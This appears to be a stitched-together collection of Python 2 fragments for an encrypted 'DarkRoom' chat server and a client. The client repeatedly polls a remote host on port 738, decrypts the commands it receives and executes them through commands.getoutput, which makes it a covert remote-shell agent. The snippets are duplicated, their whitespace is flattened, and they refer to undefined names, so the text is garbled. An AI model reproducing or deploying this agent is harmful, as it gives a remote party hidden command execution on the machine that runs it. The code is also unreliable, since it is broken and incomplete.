def readMessage(instream): command = instream.readline().strip() command = enc.decrypt(command) lines = int(enc.decrypt(instream.readline().strip())) data = "" for line in range(lines): data += enc.decrypt(instream.readline().strip()) + "\n" return message(command, data)
def readMessage(instream): command = instream.readline().strip() command = enc.decrypt(command) lines = int(enc.decrypt(instream.readline().strip())) data = "" for line in range(lines): data+=enc.decrypt(instream.readline().strip())+"\n" return message(command, data)
def handle_client(self, client): # Takes client socket as argument # Handles a single client connection name = client.recv(self.BUFFER_SIZE) name = Encrypter.decrypt(self.key, name) welcome = b'Welcome, %s. If you want to quit, type !quit to exit.' % name client.send(Encrypter.encrypt(self.key, welcome)) msg = b"%s has joined the DarkRoom." % name self.broadcast(Encrypter.encrypt(self.key, msg)) self.clients[client] = name while True: msg = client.recv(self.BUFFER_SIZE) msg = Encrypter.decrypt(self.key, msg) if msg != b"!quit": self.broadcast(Encrypter.encrypt(self.key, bytes(name + b": " + msg))) else: client.send(Encrypter.encrypt(self.key, b"!quit")) print("%s:%s has disconnected." % addresses[client]) client.close() del clients[client] self.broadcast(Encrypter.encrypt(self.key, b"%s has left the DarkRoom." % name)) break
from message import message from encryption import Encrypter as enc HOST,PORT = "localhost", 738 #HOST,PORT = "batterystapler.com", 738 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) get = message("get", "").getMessage() data = get while True: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) sock.sendall(data) received = sock.recv(1024).strip() command = enc.decrypt(received.split("\n")[0].strip()) print command,len(command) if len(command) == 0: sleep(.1) data = get else: print command first = command.split(" ")[0] if first == "cd": try: chdir(" ".join(command.split(" ")[1:])) except OSError as ose: print ose finally: command = "pwd" result = commands.getoutput(command)
from message import message from encryption import Encrypter as enc HOST, PORT = "localhost", 738 #HOST,PORT = "batterystapler.com", 738 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) get = message("get", "").getMessage() data = get while True: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) sock.sendall(data) received = sock.recv(1024).strip() command = enc.decrypt(received.split("\n")[0].strip()) print command, len(command) if len(command) == 0: sleep(.1) data = get else: print command first = command.split(" ")[0] if first == "cd": try: chdir(" ".join(command.split(" ")[1:])) except OSError as ose: print ose finally: command = "pwd" result = commands.getoutput(command)